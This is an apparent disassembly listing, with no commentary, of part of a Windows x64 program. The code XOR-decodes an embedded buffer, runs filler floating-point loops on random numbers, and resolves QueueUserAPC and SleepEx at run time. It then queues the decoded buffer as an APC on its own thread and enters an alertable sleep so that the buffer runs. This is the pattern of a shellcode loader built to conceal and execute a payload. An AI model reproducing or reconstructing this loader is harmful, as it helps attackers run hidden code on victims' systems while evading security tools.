movsd xmm0, qword [0x140006620]
mulsd xmm0, xmm1
movsd qword [rbp + 0x788], xmm0
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x618]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7b4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x618]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7b4], 1
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x4b8
jle 0x140002879
mov ecx, 0x16d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov ecx, 0x16d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x784], 0
jmp 0x140002a9e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x2d9
jle 0x140002a14
mov dword [rbp + 0x784], 0
jmp 0x140002b0c
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x784]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x600]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003c60
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x2d9
jle 0x140002aba
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x5f0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5e8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x800]
add rsp, 0x898
pop rbx
pop rsi
pop rdi
pop rbp
ret